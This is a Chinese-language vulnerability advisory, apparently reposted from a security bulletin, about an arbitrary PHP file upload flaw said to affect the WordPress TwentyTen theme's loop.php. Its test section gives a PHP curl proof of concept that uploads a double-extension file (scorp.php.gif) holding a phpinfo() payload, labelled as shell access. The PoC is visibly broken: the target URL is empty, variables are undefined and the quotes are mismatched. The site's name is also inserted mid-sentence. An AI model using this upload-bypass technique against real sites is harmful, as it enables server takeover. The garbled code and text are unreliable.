当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

WordPress TwentyTen Theme loo.php任意文件上传漏洞及修复

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

 受影响系统:

WordPress TwentyTen Theme 1.5.x

WordPress TwentyTen Theme 1.4.x

WordPress TwentyTen Theme 1.3.x

WordPress TwentyTen Theme 1.2.x

WordPress TwentyTen Theme 1.1.x

描述:

 

WordPress TwentyTen主题是现代的、可自定义的、简单的、可读的主题。

 

WordPress的TwentyTen主题存在任意PHP代码执行漏洞,/wordpress/wp-content/themes/twentyten/loop.php脚本没有正确验证或过滤用户上传的文件,涛涛电脑知识网,通过提交带有多个文件扩展名的.php文件,可绕过安全检查,上传成功后,远程系统会将该文件放置在用户可访问的路径中。直接请求该上传的文件可允许用户以Web服务器的权限执行脚本。

 

<*来源:Agd_Scorp (vorscorp@hotmail.com)

  

  链接:

       

*>

 

测试方法:

 

 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<?php

 

$uploadfile="scorp.php.gif";

 

$ch =

curl_init("");

 

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS, array('file[]'=>"@$attachfile"));

curl_setopt($ch, CURLOPT_POSTFIELDS, array('opt[]'=>"@$connector?rate=50&get_file=0?upload="@$attachfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

 

print "$postResult";

 

?>

 

Shell Access :

Filename : $postResult output

 

scorp.php.gif

<?php

phpinfo();

?>

 

临时解决方法:

 

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

 

*禁用WordPress TwentyTen主题

 

厂商补丁:

 

WordPress

---------

目前厂商还没有提供补丁或者升级程序,涛涛电脑知识网,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

 

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1